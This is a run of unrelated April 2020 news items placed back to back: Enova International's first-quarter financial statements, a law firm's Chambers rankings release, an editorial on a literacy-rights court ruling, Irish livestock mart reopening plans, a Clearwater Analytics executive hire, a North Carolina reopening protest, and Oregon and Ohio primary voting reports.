Adjusted EBITDA Measures In addition to reporting financial results in accordance with GAAP, Enova has provided Adjusted EBITDA and Adjusted EBITDA margin, or, collectively, the Adjusted EBITDA measures, which are non-GAAP measures. Adjusted EBITDA is a non-GAAP measure that Enova defines as earnings excluding depreciation, amortization, interest, foreign currency transaction gains or losses, taxes and stock-based compensation. In addition, management believes that the adjustments for lease termination and cease-use costs and losses on early extinguishment of debt shown below are useful to investors in order to allow them to compare our financial results during the periods shown without the effect of the expense items. Adjusted EBITDA margin is a non-GAAP measure that Enova defines as Adjusted EBITDA as a percentage of total revenue. Management believes Adjusted EBITDA Measures are used by investors to analyze operating performance and evaluate Enova's ability to incur and service debt and Enova's capacity for making capital expenditures. Adjusted EBITDA Measures are also useful to investors to help assess Enova's estimated enterprise value. ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES CONSOLIDATED BALANCE SHEETS (dollars in thousands, except per share data) (Unaudited) March 31, December 31, 2020 2019 2019 Assets Cash and cash equivalents(1) $ 161,076 $ 57,715 $ 35,895 Restricted cash(1) 42,742 23,168 45,069 Loans and finance receivables at fair value(1) 1,093,207 Loans and finance receivables at amortized cost, net(1) 752,560 1,062,650 Income taxes receivable 35,487 19,262 32,859 Other receivables and prepaid expenses(1) 33,530 27,633 31,643 Property and equipment, net 56,216 46,820 54,540 Operating lease right-of-use assets 19,981 20,987 19,586 Goodwill 267,868 267,013 267,013 Intangible assets, net 1,918 2,987 2,185 Other assets(1) 21,276 12,257 22,912 Assets from discontinued operations 112,728 Total assets $ 1,733,301 $ 1,343,130 $ 1,574,352 Liabilities and Stockholders' Equity Accounts payable and accrued expenses(1) $ 95,893 $ 79,284 $ 122,163 Operating lease liabilities 35,783 38,285 35,712 Deferred tax liabilities, net 71,679 45,843 48,683 Long-term debt(1) 1,091,732 791,908 991,181 Liabilities from discontinued operations 8,596 Total liabilities 1,295,087 963,916 1,197,739 Commitments and contingencies Stockholders' equity: Common stock, $0.00001 par value, 250,000,000 shares authorized, 36,112,268, 35,339,678 and 35,764,943 shares issued and 31,007,899, 33,683,763 and 32,974,714 outstanding as of March 31, 2020 and 2019 and December 31, 2019, respectively Preferred stock, $0.00001 par value, 25,000,000 shares authorized, no shares issued and outstanding Additional paid in capital 67,440 51,638 63,791 Retained earnings 477,082 371,086 372,681 Accumulated other comprehensive loss (7,807) (12,251) (3,066) Treasury stock, at cost (5,104,369, 1,655,915 and 2,790,229 shares as of March 31, 2020 and 2019 and December 31, 2019, respectively) (98,501) (31,259) (56,793) Total stockholders' equity 438,214 379,214 376,613 Total liabilities and stockholders' equity $ 1,733,301 $ 1,343,130 $ 1,574,352 (1) Includes amounts in wholly owned, bankruptcy-remote special purpose subsidiaries ("VIEs") presented separately in the table below. ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES CONSOLIDATED BALANCE SHEETS (dollars in thousands, except per share data) (Unaudited) The following table presents the aggregated assets and liabilities of consolidated VIEs, which are included in the Consolidated Balance Sheets above. The assets in the table below may only be used to settle obligations of consolidated VIEs and are in excess of those obligations. March 31, December 31, 2020 2019 2019 Assets of consolidated VIEs, included in total assets above Cash and cash equivalents $ 525 $ 420 $ 420 Restricted cash 37,802 23,167 42,354 Loans and finance receivables at fair value 508,276 Loans and finance receivables at amortized cost, net (includes allowance for losses of $27,227 and $38,540 as of March 31, 2019 and December 31, 2019, respectively) 280,711 420,690 Other receivables and prepaid expenses 4,744 5,916 9 Other assets 2,333 2,737 2,161 Total assets $ 553,680 $ 312,951 $ 465,634 Liabilities of consolidated VIEs, included in total liabilities above Accounts payable and accrued expenses $ 2,790 $ 2,711 $ 3,171 Long-term debt 371,393 178,841 304,598 Total liabilities $ 374,183 $ 181,552 $ 307,769 ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES CONSOLIDATED STATEMENTS OF INCOME (in thousands, except per share data) (Unaudited) Three Months Ended March 31, 2020 2019 Revenue $ 362,252 $ 264,438 Change in Fair Value (235,719) Cost of Revenue (118,858) Net Revenue/Gross Profit 126,533 145,580 Expenses Marketing 34,558 19,061 Operations and technology 31,266 20,579 General and administrative 27,951 29,051 Depreciation and amortization 3,670 3,934 Total Expenses 97,445 72,625 Income from Operations 29,088 72,955 Interest expense, net (20,381) (19,502) Foreign currency transaction gain (loss) 41 (143) Loss on early extinguishment of debt (2,321) Income before Income Taxes 8,748 50,989 Provision for income taxes 3,000 12,010 Net income from continuing operations 5,748 38,979 Net loss from discontinued operations (288) (3,962) Net Income $ 5,460 $ 35,017 Earnings Per Share: Earnings per common share basic: Continuing operations $ 0.18 $ 1.16 Discontinued operations (0.01) (0.11) Earnings per common share basic $ 0.17 $ 1.05 Earnings per common share diluted: Continuing operations $ 0.18 $ 1.13 Discontinued operations (0.01) (0.11) Earnings per common share diluted $ 0.17 $ 1.02 Weighted average common shares outstanding: Basic 32,337 33,481 Diluted 32,833 34,421 ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES CONDENSED CONSOLIDATED STATEMENTS OF CASH FLOW (dollars in thousands) (Unaudited) Three Months Ended March 31, 2020 2019 Cash flows provided by operating activities Cash flows from operating activities - continuing operations $ 252,802 $ 206,547 Cash flows from operating activities - discontinued operations (288) 14,533 Total cash flows provided by operating activities 252,514 221,080 Cash flows used in investing activities Loans and finance receivables (178,185) (94,901) Acquisitions (3,597) Purchases of property and equipment (5,156) (4,425) Other investing activities 57 Cash flows from investing activities - continuing operations (186,881) (99,326) Cash flows from investing activities - discontinued operations (4,829) Total cash flows used in investing activities (186,881) (104,155) Cash flows provided by (used in) financing activities 57,335 (77,913) Effect of exchange rates on cash, cash equivalents and restricted cash (114) 1,949 Net increase in cash, cash equivalents and restricted cash 122,854 40,961 Less: increase in cash, cash equivalents and restricted cash from discontinued operations (10,361) Change in cash, cash equivalents and restricted cash from continuing operations 122,854 30,600 Cash, cash equivalents and restricted cash at beginning of year 80,964 50,283 Cash, cash equivalents and restricted cash at end of period $ 203,818 $ 80,883 ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES LOANS AND FINANCE RECEIVABLES FINANCIAL AND OPERATING DATA (dollars in thousands) The following table shows loans and finance receivables and related fair value or loan loss activity, which is based on loan and finance receivable balances, for continuing operations for the three months ended March 31, 2020 and 2019. Three Months Ended March 31, 2020 2019 Change Ending combined loan and finance receivable principal balance: Company owned $ 1,061,408 $ 794,490 $ 266,918 Guaranteed by the Company(a) 10,287 22,130 (11,843) Total combined loan and finance receivable principal balance(b) $ 1,071,695 $ 816,620 $ 255,075 Ending combined loan and finance receivable fair value balance: Company owned $ 1,093,207 N/A N/A Guaranteed by the Company(a) 12,445 N/A N/A Ending combined loan and finance receivable fair value balance(b) $ 1,105,652 N/A N/A Fair value as a % of principal(c) 103.2 % Ending combined loan and finance receivable balance, including principal and accrued fees/interest outstanding: Company owned $ 1,145,748 $ 856,608 $ 289,140 Guaranteed by the Company(a) 11,798 22,296 (10,498) Ending combined loan and finance receivable balance(b) $ 1,157,546 $ 878,904 $ 278,642 Ending allowance for loan losses (prior to FVO adoption) N/A $ 41,363 N/A Allowance for losses as a % of combined loan and finance receivable balance(c) N/A 4.7 % N/A Average combined loan and finance receivable balance, including principal and accrued fees/interest outstanding: Company owned(d) $ 1,190,198 $ 890,222 $ 299,976 Guaranteed by the Company(a)(d) 17,846 26,856 (9,010) Average combined loan and finance receivable balance(a)(d) $ 1,208,044 $ 917,078 $ 290,966 Revenue $ 359,806 $ 264,125 $ 95,681 Change in fair value/cost of revenue (235,719) (118,858) (116,861) Net revenue/gross profit 124,087 145,267 (21,180) Net revenue margin/gross profit margin 34.5 % 55.0 % (20.5) % Change in fair value/cost of revenue as a % of average loan and finance receivable balance(d) 19.5 % 13.0 % 6.5 % Delinquencies: Over 30 days delinquent $ 86,294 $ 52,631 $ 33,663 Over 30 days delinquent as a % of loan and finance receivable balance(c) 7.5 % 6.0 % 1.5 % Charge-offs: Charge-offs (net of recoveries) $ 203,224 $ 141,459 $ 61,765 Charge-offs (net of recoveries) as a % of average loan and finance receivable balance(d) 16.8 % 15.4 % 1.4 % (a) Represents loans originated by third-party lenders through the CSO programs, which are not included in our consolidated balance sheets. (b) Non-GAAP measure. (c) Determined using period-end balances. (d) The average combined loan and finance receivable balance is the average of the month-end balances during the period. ENOVA INTERNATIONAL, INC. AND SUBSIDIARIES RECONCILIATION OF GAAP TO NON-GAAP FINANCIAL MEASURES (dollars in thousands, except per share data) Adjusted Earnings Measures Three Months Ended March 31, 2020 2019 Net income from continuing operations $ 5,748 $ 38,979 Adjustments: Lease termination and cease-use costs(a) 726 Loss on early extinguishment of debt(b) 2,321 Intangible asset amortization 267 268 Stock-based compensation expense 3,460 3,074 Foreign currency transaction (gain) loss (41) 143 Cumulative tax effect of adjustments (868) (1,519) Discrete tax adjustments(c) (141) Adjusted earnings $ 8,566 $ 43,851 Diluted earnings per share $ 0.18 $ 1.13 Adjusted earnings per share $ 0.26 $ 1.27 Adjusted EBITDA Three Months Ended March 31, 2020 2019 Net income from continuing operations $ 5,748 $ 38,979 Depreciation and amortization expenses 3,670 3,934 Interest expense, net 20,381 19,502 Foreign currency transaction (gain) loss (41) 143 Provision for income taxes 3,000 12,010 Stock-based compensation expense 3,460 3,074 Adjustments: Lease termination and cease-use costs(a) 370 Loss on early extinguishment of debt(b) 2,321 Adjusted EBITDA $ 36,218 $ 80,333 Adjusted EBITDA margin calculated as follows: Total Revenue $ 362,252 $ 264,438 Adjusted EBITDA 36,218 80,333 Adjusted EBITDA as a percentage of total revenue 10.0 % 30.4 % (a) In the first quarter of 2019, the Company recorded impairment charges of $0.4 million ($0.3 million net of tax) to operating right-of-use lease assets and $0.3 million ($0.3 million net of tax) to leasehold improvement assets related to its decision to cease use and sublease a portion of a leased office space. (b) In the first quarter of 2019, the Company recorded a loss on early extinguishment of debt of $2.3 million ($1.8 million net of tax) related to the repurchase of $44.1 million principal amount of securitization notes. (c) In the first quarter of 2019, the Company recognized $0.1 million of interest income on a tax refund received as a result of the U.S. Tax Cuts and Jobs Act. SOURCE Enova International, Inc. Related Links http://www.enova.com BOSTON, April 28, 2020 /PRNewswire/ -- Goulston & Storrs, an Am Law 200 firm, has received top rankings in the 2020 edition of Chambers USA in nine of its practice areas Banking & Finance , Bankruptcy/Restructuring , Environment , Labor & Employment , Leisure & Hospitality , Litigation : General Commercial , Real Estate, and Retail. Chambers also ranked 28 Goulston & Storrs attorneys among the top U.S. attorneys in their respective fields either nationally or regionally. National rankings include: Retail (Band 2 USA) Goulston & Storrs's Retail practice is "highly reputed for its work in all areas of retail real estate, representing developers, REITs, landlords and tenants." The practice is also noted for its "strong reputation helping international brands and retailers integrate and expand into the US market." Clients note that attorneys "are subject matter experts who add a tremendous amount of value." Clients also commented that the "team is very sharp and very focused," and also that attorneys "are awesome at negotiating and are the complete package." "It is a creative and business-oriented team that we feel very lucky to work with," a further commentator notes, adding: "The work is very high-quality." Leisure & Hospitality (Band 3 USA) Goulston & Storrs's Leisure & Hospitality Team is known for solid hospitality practice with experience working alongside major hotel brands, financial institutions and investors on a variety of transactional matters and operational issues. Recognized areas of expertise include management agreements, joint ventures and financing, alongside niche strengths in matters such as liquor licensing. One client commented that: "The service is excellent; it's why they are our go-to firm. They're very responsive and very prompt. It is a fantastic team." Regional rankings include: Real Estate (Band 1 MA, Band 2 D.C.) In Massachusetts, Goulston & Storrs's Real Estate group "retains its position as a market-leading firm" and is "regularly called upon by regional and national developers and investors to handle big-ticket matters." Areas of specialty that clients and researchers recognize include retail and office development as well as real estate-related capital market transactions. Zoning and land use advice is considered "first-class" by clients, and attorneys are recognized for showing excellent expertise in construction and leasing. Clients refer to attorneys as "top-notch lawyers" who have "very broad experience in the industry" and are considered to be "better than anyone else." In D.C., the team is recognized for significant capabilities across a broad range of real estate matters, including financing, development, acquisition and disposition. The group is highly regarded for its zoning and land use work and is considered a go-to practice for land entitlement, zoning and historic preservation matters. The lawyers in D.C. are noted to be successful in working with major developers, entrepreneurs, investment funds and landlords, among others. A client notes that the attorneys in D.C. "draw on deep knowledge of current and evolving zoning and land use issues and bring this thinking to each assignment." Bankruptcy/Restructuring (Band 2 MA) The firm's Bankruptcy/Restructuring practice is known for solving "complex restructuring and insolvency matters of all stripes." Clients include lenders and debtors and the team has a wide range of experience with particular experience in matters pertaining to the real estate and retail sectors. The firm is noted for having advanced expertise in corporate reorganization issues and success in representing distressed portfolio firms on behalf of private equity companies. Client feedback was very positive and included feedback such as the team is "very responsive and I always know that their work will be exemplary. I really rely on them for high-level thinking." Another client comment was that "the team has a good synergy and is focused on getting the deal done properly, practically and as efficiently as possible. They are subject-matter experts who add a tremendous amount of value." Environment (Band 2 MA) Goulston & Storrs's Environment practice is "distinguished for its niche in the environmental aspects of real estate and well known for its expertise in regulatory matters, brownfield redevelopment and property transactions" as well as "its strength in environmental insurance" and "environmental cost recovery." "The team provides high-quality representation of developers, investors and private equity companies and is well regarded for its strength in the environmental insurance space." It has strong capabilities in advising on environmental cost recovery matters. The team is also known for being experienced in education and healthcare sector representation. Clients and referrals recognize the practice as doing "a lot of work in the transactional space and [having] excellent lawyers." One source commented that "overall the team is remarkably strong. It has the full breadth of experience and knowledge and undertakes high-quality work." Clients say the team "provides amazing support" and praise its members as "subject matter experts." Banking & Finance (Band 3 MA) Goulston & Storrs's Banking & Finance practice is known for offering "quality advice to insurers, private equity sponsors and banks on complex capital markets and senior debt transactions." The team is also recognized for handling matters in the real estate finance arena. With sector expertise in healthcare, energy, technology and retail, the team is recognized for regularly handling matters with significant cross-border elements and is frequently sought out for its expertise in leveraged buyout transactions. Clients noted that the team is fully integrated and "there is always a senior person driving every deal forward, regardless of size, and they are always available." Additionally, it was noted that the team is "very good at responding quickly to our needs and supporting any questions or issues that may arise." Another client interviewed noted that the team's "work is excellent and they understand our business forwards and backwards." Labor & Employment (Band 4 MA) Goulston & Storrs's Labor & Employment ]team is known for being adept at undertaking a wide range of labor and employment matters, including negotiating employment and separation agreements as well as advising on discrimination and harassment in the workplace. Interviewees also commented that the team is exceptional for its handling of class actions, particularly those relating to wage and hour issues, and is often sought out for its expertise in the area of noncompetition. One client was particularly impressed and shared that they "have needed [the firm's] help in a wide range of areas and the uniformity of the quality [the firm offers, across different specialties, is unique." Another source highlighted that the firm "as a whole is very responsive" and "has excellent employment lawyers who are very congenial." Litigation: General Commercial (Band 3 MA) Goulston & Storrs's litigation group was "recommended for its handling of a broad range of business and commercial disputes, including real estate, banking and First Amendment litigation." Specifically singled out is the litigation team's deep expertise in professional liability claims, particularly those involving legal industry participants. It is noted that the firm represents clients on litigation matters in a range of sectors including education, healthcare and transportation. One client noted that the "team is strong and seasoned" and that the team's "ability to quickly analyze the strengths and weaknesses of a claim stands out." Individual Attorney Rankings The Chambers Guides have ranked the best law firms and lawyers since 1990, and cover 190 countries across the world. Inclusion in Chambers is based solely on extensive, confidential interviews with thousands of lawyers and clients to identify the leading law firms and lawyers worldwide. Individual lawyers are ranked based on their legal knowledge and experience, ability, effectiveness, and client service. Law firms are ranked on the same qualities, as well as overall effectiveness and capability. Rankings are grouped in bands from 1-6, with 1 being the best. About Goulston & Storrs Collaboration is not just a pillar of our strategy; it is the key to our competitive advantage and approach to clients, community, and each other. As you get to know us, you will find that Goulston & Storrs is a modern, vibrant firm where the practice of law is pursued with deep expertise and diligence. It is a place where serious business is conducted with genuine camaraderie. It is a place where mutual respect drives open discussion, fresh ideas, and optimal solutions for our clients. To learn more about our attorneys and clients, please visit our website or sign up to receive real time news here . Contact: Liz Cerasuolo Amy Blumenthal Director of Marketing & Business Development Blumenthal & Associates PR Goulston & Storrs PC (617) 879-1511 (617) 574-0556 [email protected] [email protected] SOURCE Goulston & Storrs Related Links http://www.goulstonstorrs.com Members of the Detroit Federation of Teachers rally in front of the Detroit Public Schools offices on May 2, 2016. (Daniel Mears / Detroit News) The ability to read and write is fundamental to a basic education, representing two of the traditional three Rs of schooling. And now a panel of the 6th Circuit Court of Appeals has taken that a step further: Literacy is a necessity for participating in public life and pursuing success. In other words, the panels majority wrote last week, a states failure to teach kids their ABCs denies students their rights under the U.S. Constitution. Most significantly, every meaningful interaction between a citizen and the state is predicated on a minimum level of literacy, meaning that access to literacy is necessary to access our political process, the panel majority wrote. Further, the unique role of public education as a source of opportunity separate from the means of a childs parents creates a heightened social burden to provide at least a minimal education. The panels 2-1 decision in a case involving Detroit schools will almost certainly get a skeptical reception from the full circuit court or, beyond that, the U.S. Supreme Court, which in recent years has not been particularly sympathetic to appeals for equity in education. Yet the ruling, which reverses a lower court decision, offers an important new way to look at the harm inflicted by states and school districts when they allow significant numbers of students to slide through their school years without the most rudimentary skills. As usual, the kids getting the short end of the educational stick here are mainly black, Latino and low-income students. And the gaps between them and their classmates are certain to be widened by the remote learning arrangements thrown together for the last months of this academic year and perhaps beyond. A similar case in California pointed to specific schools that were allowing illiteracy to flourish among most of their students. At La Salle Elementary in the Los Angeles Unified School District, only one in 18 students tested met the states English standards in 2017, when the suit was filed. Mark Rosenbaum, an attorney for the public-interest law firm Public Counsel, said at the time that he had met with high school students in South Los Angeles who couldnt read or write well enough to fill out a fast-food restaurant application. The case was eventually settled for $53 million, with most of that money disbursed to 75 particularly low-performing schools. Story continues But the Detroit case, also brought by Public Counsel, differed in this key regard: The plaintiffs brought their case in federal, not state, court. Constitutions in every state mandate the free and public education of students, and so it was easier to win an argument that California was violating its own Constitution. The Detroit lawsuit sought a more sweeping decision: that a halfway decent education is a constitutional right in this country. And for at least this moment, that argument prevailed, as it should. Meaningful participation in society and our democracy is impossible without the ability to read, and no child should be denied that opportunity. Its unclear whether the financial settlement in California will make the necessary difference. As the Public Counsel suit pointed out, many schools arent using the reading programs that have been shown to work with disadvantaged students, and the state is so oriented toward local control of schools that it hasnt required or even pressed them to change, even after a state task force raised alarm five years ago about poor literacy instruction. Usually, the proven reading curriculums are phonics based in the early years, which would make any change in reading programs a weapon in the so-called reading wars between phonics and whole-language based approaches. But learning to read shouldnt be political; its simply common sense that if a school isnt finding success with one approach, it should try another. In contrast, the Detroit schools recently adopted a new, more rigorous curriculum. Reading scores have improved somewhat but remain deplorably low. In 2019, only 12% of third-graders passed the states reading test. There are enormous shortcomings in the school system that have nothing to do with lesson plans. Too many under-trained teachers have been hired, and campuses are decrepit, rodent-infested and poorly equipped. Curriculum alone wont solve the literacy problems of Detroits students. Only major investment will. But the ruling in this case reaches for higher ground than hammering any of the specific inadequacies of the schools involved. A decent public education is more than just an important function funded by states; it is something that every child in this nation has an inherent right to expect. The United States has valued literacy since before it was the United States; the ability to read the articles in a free press was seen by the Founding Fathers as vital to forming a new democracy. The panels reasoning might not prevail in the current legal environment, but it speaks to a great moral truth about our nation. A farmer waiting to register as a buyer at Macroom Mart, Co Cork before marts were closed. Picture Denis Boyle New proposals that would allow marts to operate more freely have been submitted for approval to the HSE. Last week, Mart Managers of Ireland (MMI) issued a new Standard Operating Procedure (SOP) to the Department of Agriculture, which would allow them to operate more freely than the current measures permit. The Department then submitted the measures to the HSE. MMI head Eimear McGuinness said the new SOP, if accepted, would see the mart return to more sustainable operating level. "Come May 5 we hope the restrictions will be changed. We put forward a case to the Department of how we would operate a sale while keeping everybody a safe distance from each other," she said. "We aim to have limited number of buyers in the ring at any one time and there'll be no sellers on site." The previous rules they've been working with didn't really work, she said, because marts couldn't hold an auction. "We were also letting buyers into the yard one at a time to view the cattle and this took far too long and there were too many people congregating in the yard. So we learned a lot," she explained. "We're going to put steps in place that won't allow that to happen again. We'll let 10-12 buyers into the ring to view cattle at different times and then they'll be given a spot to stand in which they won't be allowed to move from." The new operating procedures include: only buyers permitted on mart premises; no under-16s or over-70s permitted; staff over 70 or with underlying health issues will not be expected to work; Sellers who have pre-booked stock with the mart arrive at specified times from 8am. Meanwhile, marts in Northern Ireland are set to reopen on a phased basis from April 27, with some restrictions in place, having closed voluntarily on March 23. Recently, mart operators trialled some online sales to enable livestock trading to continue . The Department for Agriculture, Environment and Rural Affairs said the decision to reopen the marts will help provide much-needed cash-flow for farmers. [April 28, 2020] Warren Barkley Joins Clearwater as Chief Technology Officer Clearwater Analytics announced today that Warren Barkley has joined as Chief Technology Officer to oversee all technical aspects of the company. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005211/en/ Warren Barkley Joins Clearwater as Chief Technology Officer (Photo: Business Wire) Warren brings a wealth of experience to Clearwater - he has held influential roles at Amazon, Microsoft, and SMART Technologies (News - Alert), and has been instrumental in the technological trajectories of those organizations and their offerings. At Amazon, Warren was General Manager in the AWS Machine Learning Group. His experience and expertise are critical as Clearwater fortifies and evolves its SaaS solution to serve the world's largest and most complex institutional investors. Warren's critical role in bringing cloud computing solutions to the business world will continue in his role at Clearwater. "I have worked with, advised, and held positions at some of the most innovative technology companies in the world," said Warren. "I see Clearwater in that same lineage of industry influencers, and I'm thrilled to be part of its next chapter." Warren launched several public services during his tenure at Amazon. Prior to that he served as the General Manager for Business AI at Microsoft where he brought many machine learning technologies to market. Warren was also CTO for SMART Technologies, and held several positons at Microsoft where he was instrumental in the development of wireless networking in Windows, Microsoft Skype (News - Alert) for Business, and numerous broadly used media technologies. At Microsoft, he also played a central role in establishing WiFi as a worldwide standard and authored a variety of key industry wireless specifications. Warren has influenced various early stage startups, and is active in the VC community. He also holds over 60 worldwide patents in networking, wireless, communications, and machine learning. "We are thrilled to have Warren join Clearwater. He is the kind of industry leader that enables us to evolve and improve at an exponential rate," said Sandeep Sahai, Chief Executive Officer at Clearwater Analytics. "I know our clients, future clients, and employees will all benefit from his leadership." James Price, Clearwater's former CTO and the original architect for much of the platform, will now be the company's Chief Quality Officer. James is responsible for driving quality throughout the organization through controls, automation, improved testing, and advanced reporting. Reporting on more than $4 trillion in assets daily, Clearwater is the leading SaaS solution for investment data aggregation, reconciliation, accounting, and reporting. The company delivers its solution and services to the world's leading insurers, investment managers, corporations, state and local governments, pensions, and other institutional investors. About Clearwater Analytics Clearwater Analytics is a global SaaS solution for automated investment data aggregation, reconciliation, accounting, and reporting. Clearwater helps thousands of organizations make the most of their investment portfolio data with a world-class product and client-centric servicing. Clearwater offers a full complement of middle- and back-office solutions like trade confirm/affirm, client billing, composite management, client statements, and more. Each day, the Clearwater solution reports on more than $4 trillion in assets for clients that include American Family Insurance, Arch Capital, Aureum Re, Cisco (News - Alert), CopperPoint Mutual Company, C.V. Starr & Co., Facebook, J.P. Morgan, Knights of Columbus Insurance, Oracle, Selective Insurance, Sirius Group, Sompo International, Starbucks, Unum Group, WellCare Health Plans, Wilton Re., and many others. Since its founding in 2004, Clearwater has provided a cloud-native solution that helps investors make the most of their data. Investment professionals in 49 countries trust Clearwater to deliver timely, validated investment data and in-depth reporting. Additional information about Clearwater can be found at www.clearwater-analytics.com LinkedIn (News - Alert): https://www.linkedin.com/company/clearwater-analytics/ | Twitter (News - Alert): @cwanalytics View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005211/en/ [ Back To TMCnet.com's Homepage ] Advertisement Hundreds of protesters attended the 'Reopen North Carolina' rally on Tuesday despite the group's leader testing positive for the coronavirus. The group, which has been campaigning for government officials to reopen the state and relax coronavirus restrictions, were seen gathered outside the North Carolina Legislative Building in Raleigh. Many waved American flags while others held signs that read: 'Set our people free.' Hardly any of the protesters were wearing masks or other protective gear as they clearly violated the social distancing order to remain six feet apart. The demonstrators called on Gov Roy Cooper to ease the stay-at-home orders for the state where there are more than 9,100 confirmed cases and 306 deaths. ReOpen NC, which was started by Audrey Whitlock, is promising to hold rallies in Raleigh every Tuesday until the governors restrictions are lifted. His stay-at-home order has been extended until May 8. Scroll down for video The 'Reopen North Carolina' rally (pictured) went forward as planned on Tuesday despite the group's leader, Audrey Whitlock, testing positive for the coronavirus Hundreds of protesters who have been campaigning for government officials to reopen the state and relax coronavirus restrictions were seen gathered outside the North Carolina Legislative Building in Raleigh Tuesday afternoon People gathered near the North Carolina Legislative building in opposition to the current stay-at-home orders on Tuesday Many waved American flags while others held signs that read: 'Set our people free' Protestors gathered around the entrance of the North Carolina General Assembly building in the minutes before the House and the Senate were scheduled to begin their sessions on Tuesday Some demonstrators called for the governor to ease restrictions so people can get 'back to work' Some protesters were arrested by officers wearing masks during the Reopen North Carolina rally on Tuesday Authorities were seen arresting a protester during a Reopen NC rally in downtown Raleigh on Tuesday Counter-protesters also stood outside the North Carolina Legislative Building during the Reopen NC rally in downtown Raleigh on Tuesday Whitlock was unable to take part in the group's first two rallies in Raleigh because she was in quarantine. On Sunday, Whitlock took to social media to announce that it marked the last day of her quarantine and described herself as being 'asymptomatic'. 'I will take a stand every day until we are a free people again, to sound the alarm because someone has to do the right thing in the face of wrong,' Whitlock wrote. In her post, she wrote about how the restrictions put in place amid the COVID-19 pandemic were violating her First Amendment rights as well as her 5th and 14th Amendment rights. She said she was 'forced' to quarantine which violated her First Amendment rights. 'The reality is that modern society has not been able to eradicate contagious viruses. A typical public health quarantine would occur in a medical facility. 'I have been told not to participate in public or private accommodations as requested by the government, and therefore denied my 1st amendment right of freedom of religion,' Whitlock wrote. She went on to say that: 'It has been insinuated by others that if I go out, I could be arrested for denying a quarantine order.' Whitlock wrote that a 'typical public health quarantine would occur in a medical facility,'. ReOpen NC, which was started by Audrey Whitlock, is promising to hold rallies in Raleigh every Tuesday until the governors restrictions are lifted. His stay-at-home order has been extended until May 8 Around 1,000 people rallied in downtown Raleigh last Tuesday arguing the order violated their constitutional rights Around 1,000 people rallied in downtown Raleigh last Tuesday arguing the order violated their constitutional rights. Protesters across the country have flooded the streets to demand an end to their state's lockdown orders. Alabama, Ohio, Missouri and Iowa are the latest states to commit to reopening their coronavirus-ravaged economies despite health experts warning that lifting restrictions too soon could result in a new surge of infections. In total 14 states that are home to more than 95 million people have started reopening or announced plans to reopen. Alabama will reopen on Thursday by allowing retail stores to commence business at a reduced 50 per cent capacity. Other business including theaters, night clubs, fitness centers, barber shops, hair and nail salons will remain closed. Ohio will reopen from Friday with non-essential surgeries that don't require an overnight hospital stay. The state's manufacturing, distribution and construction sectors will start to reopen on May 4 and consumer retail and services will start up again on May 12. Protesters across the country have flooded the streets to demand an end to their state's lockdown orders. A crowd of protestors gathered at Old Towne Orange in Orange County, California, on Monday to admonish the California's stay-at-home orders that were enforced because of the COVID-19 pandemic Protesters wave flags outside of the Ohio State House in Columbus, Ohio, on April 18 to protest the stay home order that is in effect until May 1 All Missouri businesses and social events will be allowed to reopen from May 4 as long as residents and business owners continue to practice proper social distancing requirements. In Iowa, restaurants can open at 50 per cent capacity but no more than six people at one table from May 1. Malls, fitness centers, libraries and retail stores can also open at 50 per cent capacity. All other businesses remain closed through May 15. Nine states currently have no stay-at-home orders for residents but some do have other social distancing restrictions. Stay-at-home orders issued by governors across the US and subsequent decisions to slowly reopen state economies have turned into highly charged political issues in recent weeks as the shutdowns have hammered the nation's economy. Minnesota, Mississippi, Colorado, Montana, Tennessee, Georgia, Oklahoma, Alaska and South Carolina - will, or have already, restarted their economies following weeks of mandatory lockdowns that have thrown millions of American workers out of their jobs. Public health authorities have warned that increasing human interactions and economic activity may spark a new surge of infections just as social-distancing measures appear to be bringing coronavirus outbreaks under control. SALEM, Ore. While registered Democrats and Republicans in Oregon are still a few days away from receiving their primary ballots, the Independent Party of Oregon says that it will hold its own primary beginning on Tuesday entirely online. Independents and non-affiliated voters will be able to visit the party's website in order to cast votes in a binding election to pick nominees for Secretary of State, State Treasurer, and take part in the party's "Presidential Preference poll." The Independent Party of Oregon Primary starts tomorrow This will be the only chance for Independent and non-affiliated voters to Cast a binding ballot for statewide office or participate in a presidential preference poll. https://t.co/KcoTxAUEsZ Independent Party OR (@ORIndependent) April 27, 2020 "The state will spend more than $3 million to conduct the Democratic and Republican primaries using a familiar election method that draws massive media attention," said IPO Secretary, Sal Peralta, the architect of previous online elections for the party. "By contrast, this election will be a totally new process for most voters and many/most will not be aware that it is happening or that they are eligible." Non-affiliated voters in particular make up a significant number of registered voters in Oregon and are outstripped only by registered Democrats. According to the state's 2019 voter registration data, Oregon had 970,284 Democrats, 955,801 non-affiliated voters, 701,970 Republicans, and 124,306 Independents. Though both Democrats and Republicans hold closed primaries open only to registered members of the party the Independent Party typically allows non-affiliated Oregonians to vote in its primary. For this primary, the Independent Party is using a method called STAR Voting, "the brainchild of Eugene entrepreneur, Mark Frohnmayer." With the STAR system, voters will be able to rank their candidates in order to vote for their preferred candidates without a "spoiler." "It is the only chance for Independent and non-affiliated voters to select candidates for statewide office or express their preference for President in 2020," the Independent Party said. "As such, it will be an interesting bell-weather to gauge the relative support of all candidates among Oregon Independent and non-affiliated voters for statewide offices and for President." The election ballot for Secretary of State includes Independent Party member Ken Smith; non-affiliated candidate Rich Vial; Democrats Mark Hass, Jamie McLeod-Skinner and Shemia Fagan; and Republican Kim Thatcher. Running for Oregon State Treasurer are Independent Party member Chris Henry, Democrat Tobias Read and Republican Jeff Gudman. CLICK HERE for a full list of candidates in the Independent Party primary The Independent primary will remain open to Independents and non-affiliated voters from April 28 until May 12. COLUMBUS, Ohio Hundreds of Ohioans are casting ballots in-person on Tuesday, including many who are taking advantage of an obscure legal provision that allows people to vote even if their absentee ballots dont arrive on time. For most Ohioans, the extended voting period for the postponed March 17 primary is vote by mail only. But in-person voting is available for the disabled and homeless at county boards of elections around the state. In Cuyahoga County, officials set up crowd-control barriers and temperature taking stations to screen voters before letting them inside. Those with a fever can vote at machines in a tent set up in the parking lot. But theres also an option for people who had requested ballots but didnt receive them on time. These people can vote in person provisionally. Provisional ballots are given additional review to see if they should be accepted, and arent counted for several days. As of 1 p.m., 423 people had cast provisional ballots in Cuyahoga County, according to Board of Elections Director Tony Perlatti. Some voted while affirming they hadnt received an absentee ballot on time. Their votes should be counted if additional review confirms that. But others hadnt requested absentee ballots. These voters still were allowed to vote, while signing forms 